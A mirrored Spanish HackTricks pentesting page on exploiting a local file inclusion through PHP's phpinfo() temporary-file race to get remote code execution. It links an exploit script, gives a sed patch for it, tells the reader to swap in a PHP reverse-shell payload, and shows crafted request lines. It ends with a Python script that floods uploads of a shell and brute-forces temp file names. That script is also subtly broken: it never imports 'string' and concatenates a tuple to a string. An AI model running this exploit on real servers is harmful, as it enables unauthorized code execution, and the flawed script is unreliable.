mirror of
https://github.com/carlospolop/hacktricks
synced 2025-03-01 13:57:10 +00:00
83 lines
6.3 KiB
Markdown
83 lines
6.3 KiB
Markdown
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
|
||
|
Para explotar esta vulnerabilidad necesitas: **una vulnerabilidad LFI, una página donde se muestre phpinfo(), "file\_uploads = on" y que el servidor pueda escribir en el directorio "/tmp".**
|
||
|
|
||
|
[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)
|
||
|
|
||
|
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||
|
|
||
|
Necesitas corregir el exploit (cambia **=>** por **=><=**). Para hacerlo puedes hacer:
|
||
|
```
|
||
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||
|
```
|
||
|
Debes cambiar también el **payload** al principio del exploit (por ejemplo, para un php-rev-shell), el **REQ1** (esto debería apuntar a la página phpinfo y debería incluir el relleno, es decir: _REQ1 = """POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), y **LFIREQ** (esto debería apuntar a la vulnerabilidad LFI, es decir: _LFIREQ = """GET /info?page=%s%%00 HTTP/1.1\r --_ Verifica el doble "%" al explotar el carácter nulo)
|
||
|
|
||
|
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||
|
|
||
|
### Teoría
|
||
|
|
||
|
Si se permiten las cargas en PHP y se intenta cargar un archivo, este archivo se almacena en un directorio temporal hasta que el servidor haya terminado de procesar la solicitud, luego este archivo temporal se elimina.
|
||
|
|
||
|
Entonces, si se ha encontrado una vulnerabilidad LFI en el servidor web, se puede intentar adivinar el nombre del archivo temporal creado y explotar un RCE accediendo al archivo temporal antes de que se elimine.
|
||
|
|
||
|
En **Windows**, los archivos suelen almacenarse en **C:\Windows\temp\php<<**
|
||
|
|
||
|
En **Linux**, el nombre del archivo suele ser **aleatorio** y se encuentra en **/tmp**. Como el nombre es aleatorio, es necesario **extraer de algún lugar el nombre del archivo temporal** y acceder a él antes de que se elimine. Esto se puede hacer leyendo el valor de la **variable $\_FILES** dentro del contenido de la función "**phpconfig()**".
|
||
|
|
||
|
**phpinfo()**
|
||
|
|
||
|
**PHP** utiliza un búfer de **4096B** y cuando está **lleno**, se **envía al cliente**. Luego, el cliente puede **enviar muchas solicitudes grandes** (usando encabezados grandes) **cargando un shell inverso php**, esperar a que se devuelva la **primera parte de phpinfo()** (donde se encuentra el nombre del archivo temporal) e intentar **acceder al archivo temporal** antes de que el servidor php elimine el archivo explotando una vulnerabilidad LFI.
|
||
|
|
||
|
**Script de Python para intentar adivinar el nombre (si la longitud es de 6)**
|
||
|
```python
|
||
|
import itertools
|
||
|
import requests
|
||
|
import sys
|
||
|
|
||
|
print('[+] Trying to win the race')
|
||
|
f = {'file': open('shell.php', 'rb')}
|
||
|
for _ in range(4096 * 4096):
|
||
|
requests.post('http://target.com/index.php?c=index.php', f)
|
||
|
|
||
|
|
||
|
print('[+] Bruteforcing the inclusion')
|
||
|
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||
|
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||
|
r = requests.get(url)
|
||
|
if 'load average' in r.text: # <?php echo system('uptime');
|
||
|
print('[+] We have got a shell: ' + url)
|
||
|
sys.exit(0)
|
||
|
|
||
|
print('[x] Something went wrong, please try again')
|
||
|
```
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|